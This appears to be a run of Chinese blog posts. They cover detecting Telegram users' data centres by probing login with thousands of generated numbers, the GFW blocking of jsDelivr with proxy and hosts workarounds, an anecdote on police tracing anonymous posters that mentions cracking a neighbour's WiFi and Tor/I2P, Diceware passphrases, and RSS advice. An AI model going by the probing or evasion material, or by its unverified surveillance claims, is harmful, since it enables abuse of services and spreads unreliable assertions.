这样,我们就知道这个帐号是一个 DC2 的帐号。这种方法对于已注册的帐号同样有效,但是这种方法需要知道用户的手机号,难以用来查询群友的 DC。
在刚才的 DC2 帐号注册完成后(下文称之为新号),我们利用会显示用户 DC 的第三方客户端(Plus Messenger),登录自己的另一个账号,去查看新号的 DC。然而,客户端此时并未能显示 DC,需要替新号上传头像后才显示新号在 DC2。
这是因为第三方客户端是在下载用户头像时,通过 MTProto 协议 userProfilePhoto
结构体中的 dc_id
字段,来获知用户所在的 DC。
这种方法是通过用户上传的文件所在的 DC,来判断用户所在的 DC。
如果是用新号登录第三方客户端去查看自己的 DC,则可能是通过方法 1 判断出的 DC,因为客户端知道自己在连接哪个服务器。
最后我们通过上文提到的 bot 查询这个新号的 DC。
bot 说,该帐号所在的数据中心为 DC4(阿姆斯特丹,荷兰)
咦?这个新号不是位于 DC2 吗,为什么 bot 会说是 DC4 呢?
其实它是通过 Telegram Web CDN 来获取用户的 DC 的。我们打开 https://t.me/dctest** 查看源码,会发现新号的头像域名是以 cdn4 开头的,导致被 bot 判断为了 DC4。
由于 DC2 与 DC3 会「借用」同地点的 DC4 与 DC1 域名来提供 Web CDN 服务,因此 bot 无法找到任何 DC2 用户——他们都被判断成了 DC4 用户。
还有另一种 bot,要求用户给 bot 发送一个图片/文件来判断其 DC。这类似方法 2,可以较为准确的判断用户 DC。
通过方法 2 正确获取用户 DC 后,我们可以发现在全球范围内(尤其是海外群组内),DC2 的用户并不算少,但 DC3 用户却屈指可数。多方查找后,我们发现了两名位于 DC3 的用户:@urie** 与 @flowinglig**。
然而,如果进一步分析,就会发现他们可能并不是真的在 DC3。例如,调用 photos.GetUserPhotos
查看头像列表,可以看到 @urie** 上传过 7 张头像,其中只有两张位于 DC3,新上传的头像都已在 DC1。
同样的,查看两位用户发言历史中的图片,也只有寥寥几张老图片是存于 DC3 的,新图片都是存在 DC1。而查看其它 DC 的用户,则发现他们发送的图片都存在各自所在的 DC 中。
此外,@urie** 也在 2021 年发送过文件给 DC 识别机器人(文件法)进行测试,返回的结果同样是 DC1。
遗憾的是,由于无法获知他们的手机号,所以并不能通过方法 1(登录法)准确测试,这里只能通过方法 2(头像/文件法)推测他们从 DC3 被转移到了 DC1。
为了进一步证实 DC3 已经不再接受新用户,我们生成了万余个全球各个地区的号码,通过方法 1(登录法)测试 Telegram 的 DC 分配规则,结果如下:
在测试过程中,我们尽可能让每个号码都连接到错误的 DC 上——这是为了通过返回的 PHONE_MIGRATE_X 错误了解号码对应的实际 DC,也是为了避免产生大量垃圾短信,造成骚扰及 Pavel Durov 因短信费破产。
在完成测试后,我们剔除了确定位于 DC4 的号码,再将剩余号码连接至 DC4 再次判断,以确保不会遗漏被分配至 DC3 的号码。
结合以上分析,我们可以认为 DC3 确实已不再接受新用户,而老用户也可能已经全部被转移至 DC1 了。
尽管我们没能找到消失的 DC3,但如果你想要成为指定 DC 的用户,回避 DC5 的宕机风险,或是测试一下测试机器人是否靠谱,现在只需参考上一张图,使用特定国家代码的号码注册即可。
由于 Telegram 服务端和部分运作机制并不开源,本文许多结论是通过推测得出。如有发现文中的错误,或有其他线索,欢迎评论提出。
本文撰写过程中参考了以下项目及内容,在此表示感谢:
2021年12月20日,jsDelivr 团队主要负责人 Dmitriy Akulov 在 jsDelivr 官方 GitHub 仓库的一条 issue 下发表了以下说明:
Thank you all for your tests, feedback and support. I am personally sorry for the issues we had today.
We can consider the issue as resolved, now its a question of DNS propagation getting to everyone.
Our official announcement regarding the problems today:
Unfortunately today jsDelivr unexpectedly lost its ICP license in China. As effect the regional CDN disabled our account.
This resulted in the extended outage we had in mainland China and Taiwan.
Other regions were unaffected.
We understand how difficult it was for our users to experience this unique situation.
From now on all Chinese traffic will be served by "near China" locations provided by global CDN providers.
This will have the additional benefit of better failover logic in the future.
译文:
感谢大家的测试、反馈和支持。我个人对我们今天遇到的问题感到抱歉。
我们可以认为这个问题已经解决,现在它是一个 DNS 传播问题。
我们今天关于问题的官方公告:
不幸的是,今天 jsDelivr 意外失去了在中国的 ICP 牌照。结果,区域 CDN 禁用了我们的帐户。
这导致我们在中国大陆和台湾的停电时间延长。
其他地区不受影响。
我们了解我们的用户体验这种独特的情况是多么困难。
从现在开始,所有中国流量都将由全球 CDN 提供商提供的“中国附近”位置提供服务。
这将在未来获得更好的故障转移逻辑的额外好处。
当天jsDelivr 在国内的故障,并不是偶发的 SSL 证书出现问题导致资源下线,而是域名备案被吊销,导致国内 CDN 提供商网宿移除了 jsDelivr 的账号。当时 jsDelivr 国内线路为 Fastly:
2021年12月20日 - 可喜可贺的一天,jsDelivr 的 ICP 没了。最少在短时间内,jsDelivr 是无法也不会提供基于国内节点的托管服务了。可以想象,也是可能的下一步,就是 jsDelivr 完全被 GFW 阻断,成为连 Google Hosted Libraries 和 cdnjs 都不如的开源 CDN - 最少这两个国内还极其勉强地能用。
2022.04.28 GFW开始实行dns污染:
可以看到,jsDelivr的域名已经被解析到Twitter,Facebook等被阻断的IP地址上。
2022年4月28日,jsDelivr得到了与Facebook、Twitter等如出一辙的安排,主要的服务域名遭到DNS污染。在正常状态下,当你请求网站域名域名时,你的DNS服务器会逐级向上寻找这个域名的解析记录,并通过这个链条将它指向的服务器返回给你,实现域名与服务器的融合。若你的DNS逐级向上请求记录的过程中,出现了一个中间人提前抢答了错误的记录,而非来自域名权威服务器的正确回复,导致返回的结果并不是指向正确服务器的,连接因此不能建立,这便是DNS污染。
此轮封锁于2022.04.29解除。
2022.05.17 jsDelivr 的域名再次被污染,同时伴随SNI阻断,即改host的方法不在有效。
此轮封锁于2022.06.11解除。
不知道提到jsDelivr,大家都是从哪一项服务开始接触到它的?由中国最大的传统CDN提供商网宿(QUANTIL)赞助,支持cdnjs和GitHub内容直接加速引用,它的应用可以说是迄今为止所有静态库中最为广泛的了。大到各种门户网站,小到个人博客,乃至去广告规则订阅、图床、插件静态库等等种种衍生场景,都能见到它的身影。
在网宿的协助下,2016年12月jsDelivr挂名在上海幻文信息科技有限公司下完成了企业ICP备案,取得了备案号【沪ICP备15005128号-2】。这是一家网宿用于代理备案的公司,通过天眼查等工具很容易看出来,历史上共有8个网站在这个公司挂名进行备案,目前除了所谓的主页已全部注销。
这是历史上第一个以较为正规的方式进入中国大陆的海外静态资源库项目,在网宿与诸多海外赞助商协同下,5年中jsDelivr提供了非常稳定且出色的服务。jsDelivr官方毫不掩饰对自己能够在中国大陆合法提供服务的喜悦,专门在节点页面中写下了“我们拥有中国政府的ICP许可证,拥有数百个服务节点的巨大中国网络”的字眼。
然而千里之堤溃于蚁穴,纵使拥有网宿这样强有力的支撑,也难抵运营以来遇到的重重阻碍。
在网宿负责中国大陆的CDN节点这几年中,因为网宿方面的问题导致了几次SSL证书过期而宕机,博主有印象的在2019、2020年都有出现过。如果说那些都是网宿单方面的失误的话,2019年10月的暂时退出是jsDelivr官方面临的第一次危机。2018年工信部对域名备案政策颁布了新的规定,只有注册局在中国大陆拥有代理公司并完成申报、且域名停放在在中国大陆注册商的情况下才可以进行备案。jsDelivr挂名的公司在2019年需要进行了负责人信息的变更,备案主体信息需要进行修改,这在多个域名中都可以查到记录。
当时,jsDelivr暂时关闭了中国大陆的节点,转而使用网宿位于中国台湾和韩国首尔的节点提供服务,加载速度一落千丈。当时博主还向官方发送了一封邮件进行了咨询,官方也亲切地回应是在更新ICP备案,将在不久之后恢复。较早的issue中,官方人员进行了更详细的解释,他们在更新ICP备案的过程中遇到新规的要求将备案域名转入至中国大陆的服务商的问题,在评估后他们认为没有一种安全的方式能够确保在服务不中断的前提下将域名转移至中国大陆,因此暂时关闭中国大陆的节点等待进一步的探讨。最终在一个月后,jsDelivr恢复了位于中国大陆的节点,这次风波算是告一段落。
接下来的三年中大体相安无事,除了几乎每年一度的网宿忘记更新SSL证书。但是由于支持对GitHub项目的完整加速,对jsDelivr的滥用日趋严重,GitHub+jsDelivr图床、视频床甚至网盘层出不穷。如果说以上只是对免费资源的滥用,在GitHub中储存成人、邪教等文件通过jsDelivr向中国大陆分发,则是将jsDelivr一步步推向万丈深渊。
在2020年的8月15日,jsDelivr在官方GitHub项目中首次更新了使用限制说明,这是官方第一次明确表示禁止多种滥用行为并添加了对中国大陆政策的额外说明。在这之后,官方在网宿方向屏蔽了一系列不符合中国大陆法律内容的项目。但是由于是针对整个GitHub项目的通用加速,官方的封禁显然远远比不过肆意滥用的脚步。
jsDelivr对中国大陆的态度一直颇为暧昧,在2019年风波平息后,有不少人提议针对中国大陆的服务中GitHub加速项目应当审核开放或关闭此项以防止滥用,但官方认为将项目推送cdnjs也是很容易的事,单单禁用GitHub并不能解决不合理利用的问题,于是便没有了后文。
于是在2021年12月20日,当项目组成员在另一个半球睡得正香的时候,自上而下的命令压力下网宿直接关闭了jsDelivr的大陆CDN,几个小时后jsDelivr的ICP备案也被注销。当jsDelivr项目工作人员起来时,一脸茫然地发现网宿在未告知原因的情况下关闭了中国大陆的CDN,在愤怒之余将DNS记录切换至了Fastly恢复了jsDelivr的访问,这次的风波暂时告一段落。
但是网宿这次为何突然关闭CDN的原因依然众说纷纭,有内部人士称是因为网安部门发现了通过jsDelivr的链接传播邪教内容,但这些无从考证,官方自始至终也未对此给出任何解释。但无法改变的是,jsDelivr失去了ICP许可证,不再拥有位于中国大陆的CDN节点,加载速度大幅下降,官方也不再通过区域服务商对内容进行过滤。
在这之前有一个同样支持GitHub加速的静态资源库statically.io已被SNI阻断,与曾经的jsDelivr唯一的不同便是没有ICP许可证的保护。它走过的路,冥冥中暗示着jsDelivr注定的结局。
2022年4月28日,jsDelivr在中国大陆确认遭到DNS污染,乐章到此戛然而止。
遭到GFW封锁,基本宣告这个域名面向大众的服务失去价值,因为你无法让每个人学习像极客一样学会修改hosts、使用DoH分流。特别是前端引用这样面向用户的场景,应当更多考虑用户的便利性。以下提供几种可行的方案供大家参考,希望对大家有所帮助。
针对恢复访问主要分为服务和本地两种场景,服务场景修改则是替换jsDelivr资源到可访问的资源上,本地场景修改恢复访问的目的是针对海外引用jsDelivr的站点,这是两种不同的操作和目标。
这次的污染只针对cdn.jsdelivr.net这一个域名,jsDelivr有很多的CDN赞助商共同支持,每一个服务商都会有自己的专有子域名,通过替换访问资源到其他的二级域名可以恢复访问。但这些CDN普遍速度一般,而且前途并不明朗,建议仅供临时使用。
CloudFlare:test1.jsdelivr.net
CloudFlare:testingcf.jsdelivr.net
Fastly:fastly.jsdelivr.net
GCORE:gcore.jsdelivr.net
如果一定要使用jsDelivr的资源的话,可以考虑通过反代cdn.jsdelivr.net这一个资源库自用。建议通过海外优化线路落地+国内中转缓存,不过要注意添加防盗链以及尽量隐藏反代路径,以防止被其他人滥用。
nginx配置文件:
#针对/gh目录的反代
location /gh
{
proxy_pass https://104.16.86.20;
proxy_set_header Host cdn.jsdelivr.net;
proxy_ssl_server_name on;
proxy_ssl_name cdn.jsdelivr.net;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header REMOTE-HOST $remote_addr;
}
Cloudflare Workers 配置文件:
const hostname = "https://cdn.jsdelivr.net"
function handleRequest(request) {
let url = new URL(request.url);
return fetch(new Request(hostname + url.pathname,request))
}
addEventListener("fetch", event => {
event.respondWith(handleRequest(event.request))
})
由于Cloudflare Workers也被GFW封锁了,所以需要绑定一个域名:
如添加cdn.example.com指向8.8.8.8,类型可添加A或CNAME类型,并勾选Cloudflare代理。
(此处ip地址或CNAME可随意填写,因为只是为了让域名走Cloudflare。)
添加路由,配置Route:cdn.example.com/*指向创建的Workesr,到此等待DNS生效即可。
推荐一些国内比较稳定、全面的静态资源库吧,其中不乏完全同步cdnjs内容的,可以逐步将静态资源替换过去。
字节静态库:cdn.bytedance.com
360静态库:cdn.baomitu.com
七牛静态库:staticfile.org
一般情况下,DNS污染通常伴随着SNI阻断,不过比较幸运的是jsDelivr只是单纯的DNS污染,可以通过本地指定正常的IP恢复访问。这样操作可以解决作为用户本地无法加载页面包含jsDelivr资源的问题。Hosts文件在UNIX系统下位于/etc/hosts,Windows系统下位于C:\Windows\System32\drivers\etc\hosts,在末尾处添加适当的以下条目即可恢复访问。
#CloudFlare(不推荐联通使用)
104.16.85.20 cdn.jsdelivr.net
104.16.86.20 cdn.jsdelivr.net
104.16.87.20 cdn.jsdelivr.net
104.16.88.20 cdn.jsdelivr.net
104.16.89.20 cdn.jsdelivr.net
#Fastly(不推荐电信使用)
151.101.1.229 cdn.jsdelivr.net
151.101.129.229 cdn.jsdelivr.net
因为jsDelivr只是单纯的DNS污染可以通过DNS分流走海外加密DNS绕过污染。可以参考:https://blog.gd1214b.icu/post/Zr3HDqj6D/,但是修改DNS一定要做好分流,以免影响DoH/DoT对日常上网导致的CDN分配的问题。
目前有通过油猴替换reCAPTCHA使用的API中的google.com为recaptcha.net实现中国大陆加载,理论上也是可以通过这样的方法将jsDelivr替换到大陆可加载的链接上,期待各位大佬的实践。
到底是谁杀死了jsDelivr呢?是jsDelivr审核不够严谨?是网宿的不辞而别?还是是政策的“一刀切”?博主不知道,相信各位看官自己心里都有自己的答案吧。
本来只是想简单讲几句,没想到就说了这么多,一篇文章难免会参杂有个人情感,文中如果有不够严谨的地方请多指点。
最后,晚安jsDelivr,感谢您和诸多的赞助商这么多年来为用户无偿提供这样便捷的服务~
本文转自:https://www.guokr.com/post/565846/
我们来假设一个案例,在一个月黑风高的晚上,小明在某论坛大肆批评政府,第二天小明刚一睡醒就听见咚咚咚,开门查水表,于是乎小明神秘消失了。
好了,再以网监的角度来看看:
一天,网监局的小红看到了一个网民在网上发了个大肆批判政府的帖子,心想,这哥们胆子挺大啊?于是联系了那个网络公司,要求调取发帖人IP地址,IP调取结果为122.224.54.112,IPWHOIS登记的所有人为中国电信,好了,网监局小红联系了中国电信,要求查在2014-01-21 03:30分使用122.224.54.112的人,之后中国电信乖乖的配合网监局,交出了小明的家庭地址,浙江省绍兴市XXXXXX ,然后水表就没了。
再切换会小明的角度:小明心想,老子明明用的是ADSL,动态IP,发完贴就断开了,怎么还tm被查到了,WTF?
老衲的解释:在各级ISP的日志服务器上都有留存日志,日志留存时间大概是6个月左右,在AAA服务器上留有你登录认证的用户名,时间,分配的IP地址。依靠这个就能找到谁在哪个时间段使用过哪个IP地址。
被拘留15天后的小明终于出来了,他心想,老子就要跟你们这群网监局的人干到底,小明就在网上找到了个代理VPN,继续上网发帖,继续在另一个网站上批评政府,这是个小网站啊,日志留存期内肯定查不到了,而且还挂了个VPN,第二天,小明又被查水表了。
以网监局的小红的角度再看看:诶呀?根据“與情控制系统”的报告,有人在某个小型网站发了个反政府的文章,小红又火速要求网站提供发帖人IP地址,结果小红一看 175.45.176.11 这是尼玛是我大朝鲜IP啊,难不成是金三胖子发的帖子么?小红想了想,金三胖子不会说中文啊,于是,小红上报了此次事件,上级表示一定要查到,然后小红就去各大出口运营商调取路由日志了,于是小明发现,在2014年2月8日,122.224.250.38链接到了175.45.176.11的某个端口,于是乎小红查了查122.224.250.38在那个时间段是属于谁的?一查,又是小明干的。
小红第二天火速赶往小明家,把正在看电视的小明抓捕归案。小明又被小红胖揍一顿。
小明心想:老子明明挂了VPN了啊,又在小型网站上发帖,怎么又尼玛被抓了。
老衲的解释:各级公安系统均配备了與情控制系统,能采集几乎所有的国内网站的发帖信息,检测到关键字就被单独列出。而且单层VPN很不保险,查路由日志就查到了。
又是蹲了15天拘留, 小明肯定心里很不爽啊,于是苦修黑阔技术。同时中国电信也拒绝继续向小明提供服务,他换成了广电网络(二级ISP,出口IP都一样,几千人共用一个IP)之后又学会了一招,双层VPN/变换出口IP的VPN(就比如链接用175.45.176.11,但是访问网站的时候出口IP就变成了175.45.179.244,这样就没法靠路由日志查了),于是乎小明又继续批评政府。
网监局的小红看到后,这怎么又有人发帖了,查吧。一看,IP是175.45.179.244,这尼玛又是我大朝鲜的IP,是不是小明干的啊?但是没证据啊,于是又查了查路由日志,这回什么都没有,小红心想,这小明技术提高了啊。于是乎小红要求国内各大网络公司提供175.45.179.244这个IP的访问记录,于是某企鹅公司说了,这个IP登录过我们公司的服务,号码是12345668,小红又要求某企鹅公司提供这个号码的历史登录记录,于是乎小红看到了,看IP是二级ISP的,几千人共用一个ip啊,怎么办呢?小红又要求企鹅公司提供登录端口号,然后又同时根据二级ISP内网审计设备查到了登录该qq的内网IP,于是根据内网记录,查到了网络开户人就是小明。
小红火速赶到了小明的家,又把小明抓走了。这是小明的三进宫了,小红也表示很无奈,渐渐的,单身的小红和小明互相就有了好感(>.<尼玛)
小明想:老子都用二级ISP了,也用双重VPN了,怎么又尼玛被抓了,wr!!
老衲的解释:首先二级ISP有更严格的内网审计功能,你要是直接登录QQ,他们的内网审计就能直接看到你登录的QQ帐号但是看不到你的聊天记录,因为加密的。某局实验室的设备可以直接看到你的聊天记录(老衲见识过这个,有QQ的解密密钥,还能解飞信,YY之类的,毕竟中国的企业必须给网警部门提供方便)。虽然是几千人共用一个IP,但是端口号是唯一的,可以通过端口号查内网路由日志。而且这种VPN甚至IPSecVPN能在某墙的干扰下变成纯明文VPN,因为windows系统中可能有bug,即使开启了必须加密也能链接成功,但是却没加密。这就是为什么有时候你开VPN上网,DNS都设置好了,还是打不开非死不可之类的网站。即使这些情况都没有,你也不能保证VPN服务商跟网警部门没有合作的。而且电脑上有很多国产软件是和网警部门有合作的,比如搜狗拼音,腾讯qq啊之类的,这些软件的特征是 开启时间长,可长时间驻留,每日必备。在你开全局VPN的时候,你的qq,搜狗拼音等也会被代理上,比如qq会断线重链,根据每个人的唯一码,很简单找到你。
又是15天的拘留,小明很不爽啊,出来后苦苦学习黑阔技术,之后又学会了一招:
小明用了个Linux LiveCD,把电脑网卡MAC都改了,然后破解了邻居的一个WiFi,然后用I2P作为前置代理链接上了TOR网络,然后继续发帖。第二天,咚咚咚,小明又被小红带走了。
网监局小红:还是有人发帖批评政府啊,于是小红查了下发帖IP,是个欧洲的TOR出口,小红心想,这怎么办呢,TOR网络,不可能继续追查下去了。小红看了看发帖的用户名:laozishixiaoming,这个用户名。。。
然后百度谷歌搜索了下这个用户名,发现这个用户名注册过很多网站,于是乎联系这些网站要求提供IP,拿到IP后查AAA服务器记录,一看,是小明。于是小红气呼呼的奔向了小明家................
小明心想:又尼玛栽了。
小红说:想见我不要用这种方法吧?
老衲的解释:这是社会工程学的一种手段,小明犯的致命错误就是用了自己的常用用户名发帖。
总结:
首先要做到匿名发帖就要保证自己的电脑没有“后门”,这里的“后门”指不经自己授权就随意发送接受自己不想被发送或接收的数据。在这个条件下,腾讯qq,搜狗拼音,暴风影音,迅雷等就是“后门”。
其次要应用的安全,比如VPN总不能被干扰成明文了你还在网上狂吧? IP藏匿手段要好,最好用I2P+TOR代理。
最重要的也是要保证社会工程学的防御,据老衲的了解,很多发帖人就栽在这上面了。
]]>现在保护您的数字隐私变得越来越容易。iPhone现在加密了大量的个人信息;Mac 和Windows 8.1计算机上的硬盘现在自动锁定;就连Facebook 也在聊天工具 WhatsApp 中提供端到端加密。但是,如果您不知道如何想出一个好的密码短语,那么这些技术都无法提供您想象的那么多保护。
密码短语
类似于密码,但更长、更安全。从本质上讲,它是您记住的加密密钥。一旦您开始更深入地关心您的隐私并改善您的计算机安全习惯,您将遇到的第一个障碍就是必须创建密码。
例如,当您对硬盘驱动器、U盘或计算机上的文档进行加密时,磁盘加密的强度通常仅与您的密码一样强。如果您使用密码数据库或 Web 浏览器中的密码保存功能,您需要设置一个强大的主密码来保护它们。如果您想使用 PGP 加密您的电子邮件,您可以使用密码保护您的私钥。爱德华·斯诺登在给 Laura Poitras 的第一封电子邮件中写道:“请确认没有人拥有您的私钥的副本,并且它使用了强密码。假设你的对手每秒能够进行一万亿次猜测。”
在这篇文章中,我们将介绍一种简单的方法来提供易于记忆但非常安全的密码短语。事实证明,通常情况下想出一个好的密码短语是非常困难的。如果你的对手真的有能力每秒猜测一万亿次,那么你的密码将会变得很不安全。如果您使用完全随机的字符序列,它可能非常安全,但记住也很痛苦(老实说,浪费脑力)。
人们经常从流行文化中挑选一些短语——歌曲中最喜欢的歌词或电影或书中最喜欢的台词——然后通过改变一些大小写或添加一些标点符号或修改该短语中每个单词的第一个字母来稍微改变它。其中一些密码短语可能看起来不错并且完全无法猜测,但很容易低估那些投入猜测密码短语的人的能力。
想象一下,你的对手已经从每首歌曲的歌词、每部电影和电视节目的剧本、每本书的数字化文本以及维基百科的每一页中提取了每种语言的文本,并将其用作猜测列表的基础。你的密码还能安全吗?
如果您只是通过想出一个好的密码来创建密码,那么很有可能它还不足以抵抗间谍机构的力量。例如,您可能会想出“To be, or not to be, that is the question.” 如果是这样,我可以保证您不是第一个使用这句经典莎士比亚名言作为密码的人,而且攻击者知道这一点。
使用莎士比亚名言作为密码短语糟糕的原因是它缺少称为熵
的东西。您可以将熵视为随机性,它是密码学中最重要的概念之一。事实证明,人类无法以真正随机的方式做任何事情。
即使您不使用引用,而是在脑海中编造一个短语,您的短语仍然远非随机,因为语言是可预测的。正如一篇关于该主题的研究论文所述,“用户无法选择由完全随机的单词组成的短语,但会受到短语在自然语言中出现的概率的影响”,这意味着用户选择的密码短语不包含像你想象的那样多的熵。你的大脑倾向于继续使用减少随机性的常用习语和语法规则。例如,在副词后面加上动词,反之亦然。
来自流行文化、关于你的生活的事实或任何直接来自你脑海的密码短语比从大自然中收集到的充满实际熵的密码短语要弱得多。
但幸运的是,这种可用性与安全性之间的矛盾可以解决。有一种生成密码短语的方法,即使是最强大的攻击者也无法猜测,但人类却很可能记住。该方法称为Diceware
,它基于一些简单的数学运算。
一旦您承认您的旧密码并不像您想象的那么安全,您就可以使用 Diceware技术了。
Diceware 是一种由 Arnold Reinhold 创造的生成密码短语的方法。使用 Diceware 需要一份词表和至少一个骰子。词表由7776(6^5) 个不同的单词构成,每个单词对应一个5位“骰子序号”(如 "46134"),每掷5个/次骰子便可选中一个随机的单词。掷30个/次骰子就能生成一个高强度的6词密码短语。由于每个单词有明确的意思,这样的密码短语通常比相同强度的由随机字符组成的密码更容易记忆。
最初的 Diceware 词表 是英文的,且生僻词较多,不易于中文母语者使用。之后多种其他版本/语言的 Diceware 词表陆续出现,本文使用的中文词表由Chenfeng Bao制作:https://github.com/cfbao/chinese-diceware
首先,获取一份Diceware 单词表(可以到https://cdn.gd1214b.tk/diceware/diceware_chinese_wordlist.txt上去下载),其中包含 7,776 个单词——大约37 页。您会注意到,每个单词旁边都有一个五位数字,每个数字介于 1 和 6 之间。以下是单词列表的一小段摘录:
11111 aba 阿爸
11112 afuhan 阿富汗
11113 aichou 哀愁
11114 aidai 爱戴
11115 aidao 哀悼
11116 aie 挨饿
11121 aifu 爱抚
11122 aiguo 爱国
11123 aihao 爱好
为了保证安全,您应该将单词表打印下来,而不是使用电子版。然后确保您处于一个安全的环境中(旁边没有其他人和摄像头)
现在拿起一些六面骰子(是的,真正的物理骰子)并掷几次,写下你得到的数字(建议在坚硬的表面上书写,因为这样难以留下痕迹)。您总共需要掷五次骰子才能得出密码短语中的第一个单词。您在这里所做的是生成熵,从自然界中提取真正的随机性并将其转化为数字。
如果您滚动数字五、二、二、五、一,然后在 Diceware 单词列表 52251 中查找,您会看到“shuxue(数学)”这个词。这将是您密码中的第一个单词。现在重复。
使用 Diceware,您最终会得到看起来像“haoshi aosang roucuo lizhan cesuan teshi”、“bang vivo threadductknipple train”和“pichai beichu budebu minyao yecao xingge”的密码短语。如果你想要一个更强的密码,你可以使用更多的单词;如果您可以使用较弱的密码短语,则可以使用更少的单词。
对于像“sanhui beibu fuqiao dongwu yinju guolai (散会-北部-浮桥-动物-隐居-过来)”这样的密码短语来说还不错,大多数人完全有可能记住。将其与“aE6,kP3^fT1"mA5)”这样一个随机密码相比,其熵比七字的 Diceware 密码略少,而且更难记住。
生成密码后,下一步是牢牢地记住它。
我们建议您将新密码写在一张纸上,并随身携带,直到您不再需要它为止。每次需要输入时,请先尝试从记忆中输入,但如果需要,请查看纸张。假设你一天打几次,在你不再需要纸之前不应该超过两三天,这时你应该把它销毁(建议用火烧掉)。
根据对高熵密码短语的研究,定期输入密码短语可以让您通过称为间隔重复的过程记住它。
Diceword 密码短语的强度取决于它包含的单词数量。如果您选择一个单词(从 7,776 个单词的列表中),攻击者有 7,776 分之一的机会在第一次尝试时猜出您的单词。要猜出你的密码短语的话,攻击者至少需要尝试一次,最多尝试 7,776 次,平均尝试 3,888 次(因为攻击者有 50% 的机会会在他们完成单词列表的一半时猜出你的单词)。
但是,如果您为密码选择两个单词,则可能的密码列表的大小会呈指数增长。仍然有 7,776 分之一的机会正确猜测您的第一个单词,但对于每个第一个单词,也有 7,776 分之一的机会正确猜测第二个单词,攻击者不会知道第一个单词是否正确而无需猜测整个单词密码。
这意味着对于两个单词,有7,776^2或 60,466,176 个不同的潜在密码短语。平均而言,在前 3000 万次尝试后,可以猜出两个单词的 Diceware 密码。一个五字密码短语,有 7,776^5 个可能的密码短语,可以在平均 14 千亿次尝试后猜出(14 后面有 18 个零)。
密码短语(或加密密钥或任何其他类型的信息)中的不确定性量以熵的位数
来衡量。您可以通过包含多少位熵来衡量随机密码的安全性。Diceware 列表中的每个单词都值大约 12.92 位熵(因为 2^12.92 大约是 7,776)。因此,如果您选择七个单词,您最终会得到一个具有大约 90.5 位熵的密码(因为 12.92 乘以 7 大约是 90.5)。
换句话说,如果攻击者知道您使用的是 7 个单词的 Diceware 密码短语,并且他们从 Diceware 单词列表中随机选择 7 个单词进行猜测,那么他们一次猜测成功的概率为 :
1/1,719,070,799,748,422,591,028,658,176。
以每秒一万亿次的猜测——根据爱德华·斯诺登 2013 年 1 月的警告——猜测这个密码短语平均需要 2700 万年。
相比之下,一个五字密码短语将在不到六个月的时间内破解,而一个六字密码短语平均需要 3,505 年(每秒猜测一万亿次)。牢记摩尔定律,计算机将不断变得更强大,不久之后,每秒 1 万亿次猜测可能会开始变得更快,因此最好给您的密码短语留出一些安全的空间。
使用这样的系统,您选择的单词列表是否公开并不重要。列表中的单词是什么甚至都没有关系。重要的是单词列表有多长以及列表中的每个单词都是唯一的。猜测由这些随机选择的单词组成的密码短语的概率随着您添加的每个单词而呈指数级减小,并且使用这个规律可以制作永远无法猜测的密码短语。
当您将 Diceware 密码短语输入计算机以在本地解密某些内容(例如硬盘驱动器、PGP 密钥或密码数据库)时,它们非常适合。
您不太需要它们来登录网站或互联网上的其他东西。在这些情况下,您从使用高熵密码短语中获得的好处较少。如果每次猜测都需要与互联网上的服务器通信,那么攻击者将永远无法每秒猜测一万亿次。在某些情况下,攻击者将拥有或接管远程服务器——在这种情况下,他们可以在您登录并发送密码后立即获取密码,无论密码强度如何。
要登录网站和其他服务器,请使用密码数据库。推荐使用KeePassX,因为它是免费的、开源的、跨平台的,而且它从不在云中存储任何东西。然后将所有密码锁定在您使用 Diceware 生成的主密码短语后面。使用您的密码管理器为您登录的每个网站生成和存储不同的随机密码。
这是一个复杂的问题,但简短的回答是:使用物理骰子会给你一个更强有力的保证,不会出错。但这既费时又乏味,使用计算机生成这些随机数又是会很方便。
这里有一个用于生成Diceware短语的程序(仅适用于Windows):
点击下载
原文作者:涛叔
为了推动开放 Web 生态的发展,请使用 Web Feed,用户可以在浏览器中方便地订阅独立博客,从而获取类似微信公众号的体验。但目前基于 Web Feed (RSS/Atom) 的订阅方案还有不少问题。今天向广大作者发出倡议,希望能一起解决这些问题。
我们虽然可以在博客上指明 Feed 链接,但不同博客的链接位置却不尽相同,多数在页面的右上角,少数在页面底部,还有一些在左边或者右边。有的网站虽然提供 Feed 链接,却只在首页等特殊页面展示。如果用户只是阅读某篇特定的文章,则不能第一时间发现 Feed 链接。
为了解决这个问题,我建议所有作者都为博客加入 rss-autodiscovery
支持。简单来说就是在每个页面的 <head>
部分都添加特殊的 <link>
标签:
<link rel="alternate"
type="application/atom+xml"
title="RSS"
href="https://example.com/atom.xml">
这里的 type
属性指明 Feed 类型。如果是 RSS 需要写成 application/rss+xml
,Atom 则需要写成 application/atom+xml
。
有了这样标准化的 <link>
标签,我们才有可能实现自动发现、一键订阅等功能。
我们知道 Feed 类型分为 RSS 和 Atom,虽然 RSS 历史更久远,兼容性更好,我还是建议大家选用 Atom 格式。这是因为在 RSS 规范里面,每一个 <item>
只有一个<description>
字段。有的站长用它输出摘要,有的站长用它输出全文。局面比较混乱。而 Atom 规范则分别定义了 <summary>
和 <content>
,在语义上更加清晰,客户端在解析的时候也更加简单。
很多作者为了方便读者订阅,不但在 Feed 中输出了全文,而且还把所有的历史文章都加到了 Feed 中。这样会生成一个非常大的 XML 文件。Feed 文件体积过大,一方面会消耗不必要的服务器流量,导致下载时间过长,另一方面还会给客户端解析带来非常大的负担。更重要的是,我们不可能在短时间内写很多文章,所以用户订阅 Feed 的时候大多数情况下下载的 XML 文件内容都只有很少变化或者根本没有变化。
为此,我建议各位作者把 Feed 当成一种更新同步机制,而非内容同步机制。也就是说,大家只需要把最新发布的内容输出到 Feed 中就可以了。比如,我们可以只针对最新的十篇文章生成 Feed 文件。读者只需按照一定的周期来检查是否有新的 Feed 就不会错过新发布的文章。为了进一步减少 Feed 文件的体积,我进一步呼吁大家只在 Feed 中输出文章摘要。如果读者有兴趣,则可以作者的博客上继续阅读。
顺便提一个小细节。有的作者为了让读者回源站阅读全文,不但没有在 Feed 中输出全文,而且在输出的摘要的最后还附加了一个超链接,来引导读者跳转到自己的博客。其实这大可不必。因为 Feed 信息中已经包含了文章链接,阅读器一般也都会再显示一个阅读原文按钮。如果在文章摘要中再输出一个,那就会显示两个原文跳转链接,非常难看。
这个问题基本不影响用户订阅 Feed。但我还是建议作者能把网站标题、网站图标、主页链接、个人邮箱等信息加现 Feed 文件。
建议大家统一使用 UTF-8 编码。
